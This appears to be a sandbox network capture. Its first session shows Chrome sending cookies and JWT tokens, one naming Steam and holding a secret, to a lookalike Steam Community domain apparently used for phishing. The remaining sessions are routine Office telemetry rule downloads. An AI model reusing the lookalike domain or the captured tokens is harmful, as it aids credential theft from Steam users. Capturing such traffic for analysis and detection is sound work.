
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	57217	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:42 UTC	1378	OUT	POST /20412b512e080044575553650f455d41 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://sneamcomnnumnlty.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g; timezoneOffset=-14400,0
2024-10-06 12:08:42 UTC	981	IN	HTTP/1.1 201 Created Date: Sun, 06 Oct 2024 12:08:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fy868s7ukHvE6xeB6hKKOuWA8rDDQjH0UE8rjeCPZtmzpGGPzSk53ajMAql2juE7HT7ubUqmWVFViXyWrszCtBYfzuDPptXX2nYJ%2B9ruBYrlENUuiq7PAlETHllJyL7CuglVXMFNwQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce589d1ee6f1895-EWR
2024-10-06 12:08:42 UTC	16	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 7d Data Ascii: {"success":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	57214	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:42 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120842Z-1657d5bbd482krtfgrg72dfbtn00000001p000000000b3v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	57215	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:42 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: b8f8ddc8-601e-0001-115a-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120842Z-1657d5bbd48tqvfc1ysmtbdrg000000001w0000000005353 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:42 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	57216	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:42 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120842Z-1657d5bbd48t66tjar5xuq22r800000002000000000040mw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:42 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	57218	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120842Z-1657d5bbd482tlqpvyz9e93p54000000023g000000003y4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:43 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	57219	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:43 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120843Z-1657d5bbd48xdq5dkwwugdpzr000000002c0000000000eh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:43 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	57220	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:43 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120843Z-1657d5bbd48cpbzgkvtewk0wu0000000020000000000bp3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	57222	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:43 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 1be548a6-001e-00a2-4166-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120843Z-1657d5bbd482lxwq1dp2t1zwkc00000001r0000000008fsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	57221	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:43 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 11b227e2-601e-0002-7f6b-17a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120843Z-1657d5bbd487nf59mzf5b3gk8n00000001k000000000agmk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:43 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	57223	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 678daa67-201e-00aa-3f60-173928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120843Z-1657d5bbd48sqtlf1huhzuwq7000000001p000000000byt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:43 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	57224	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:43 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120843Z-1657d5bbd48xlwdx82gahegw40000000022g00000000dyst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	57225	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:43 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5e879109-c01e-00a2-3e73-172327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd48762wn1qw4s5sd3000000001t000000000bqhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
